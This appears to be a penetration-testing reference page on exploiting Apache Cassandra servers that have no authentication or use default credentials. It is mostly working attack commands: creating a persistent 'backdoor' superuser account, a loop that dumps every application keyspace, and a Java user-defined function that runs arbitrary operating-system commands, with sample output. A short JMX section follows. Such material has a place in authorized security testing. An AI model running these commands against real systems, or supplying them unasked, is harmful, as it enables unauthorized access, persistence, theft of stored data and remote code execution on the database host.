# Cassandra Unauthenticated Access

> Exploit unauthenticated Apache Cassandra instances to enumerate keyspaces, extract data, and execute CQL queries without credentials.

- **URL:** https://hackindex.io/services/cassandra/exploitation/cassandra-unauthenticated-access
- **Path:** Cassandra > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/cassandra/exploitation.md)
- **Published:** 2026-09-14
- **Updated:** 2026-09-14

With superuser access to Cassandra (through default credentials or disabled authentication), an attacker can read all application data, create new superuser accounts, and potentially achieve code execution through user-defined functions. Confirm access through [Cassandra enumeration](https://hackindex.io/services/cassandra/enumeration/cassandra-enumeration) first.

## Creating a Superuser Account

With superuser access, create a persistent backdoor account.

```bash
cqlsh $TARGET_IP -u cassandra -p cassandra -e "CREATE ROLE IF NOT EXISTS backdoor WITH PASSWORD = 'P@ssw0rd' AND SUPERUSER = true AND LOGIN = true;"
```

## Data Exfiltration

Dump high-value tables across all application keyspaces.

**Automated dump of all non-system keyspaces**

```bash
for ks in $(cqlsh $TARGET_IP -u cassandra -p cassandra -e "DESCRIBE KEYSPACES;" | tr -s ' ' '\n' | grep -v '^system'); do
  echo "=== Keyspace: $ks ==="
  for tbl in $(cqlsh $TARGET_IP -u cassandra -p cassandra -e "USE $ks; DESCRIBE TABLES;" | tr -s ' ' '\n'); do
    echo "--- $ks.$tbl ---"
    cqlsh $TARGET_IP -u cassandra -p cassandra -e "SELECT * FROM $ks.$tbl LIMIT 50;"
  done
done
```

## UDF-Based Code Execution

Cassandra supports User-Defined Functions (UDFs) in Java and JavaScript. If `enable_user_defined_functions = true` and `enable_scripted_user_defined_functions = true` in cassandra.yaml, UDFs can execute arbitrary code on the server.

> [!WARNING]
> UDFs are disabled by default. When enabled, they run in a sandboxed JVM, but sandbox escapes have been found in older versions.

**Create a Java UDF for command execution**

```bash
cqlsh $TARGET_IP -u cassandra -p cassandra -e "
CREATE OR REPLACE FUNCTION webapp.exec(cmd text)
  CALLED ON NULL INPUT
  RETURNS text
  LANGUAGE java
  AS '
    try {
      Process p = Runtime.getRuntime().exec(cmd);
      java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
      StringBuilder sb = new StringBuilder();
      String line;
      while ((line = br.readLine()) != null) sb.append(line).append((char)10);
      return sb.toString();
    } catch (Exception e) { return e.toString(); }
  ';
"
```

**Execute the UDF**

```bash
cqlsh $TARGET_IP -u cassandra -p cassandra -e "SELECT webapp.exec('id') FROM system.local;"
#  webapp.exec('id')
# ---------------------------------------------
#  uid=999(cassandra) gid=999(cassandra) groups=999(cassandra)
```

## JMX Exploitation (Port 7199)

Cassandra exposes JMX on port 7199 for management. JMX authentication is disabled by default. Use JMX to invoke MBeans for configuration changes or, with tools like `beanshooter`, for code execution.

```bash
jconsole $TARGET_IP:7199
```

## References

- [Cassandra: User-Defined Functions](https://cassandra.apache.org/doc/latest/cassandra/cql/functions.html) - Official docs on UDFs including Java and JavaScript support.
- [HackTricks: Pentesting Cassandra](https://hacktricks.wiki/en/network-services-pentesting/cassandra.html) - Cassandra enumeration and exploitation reference.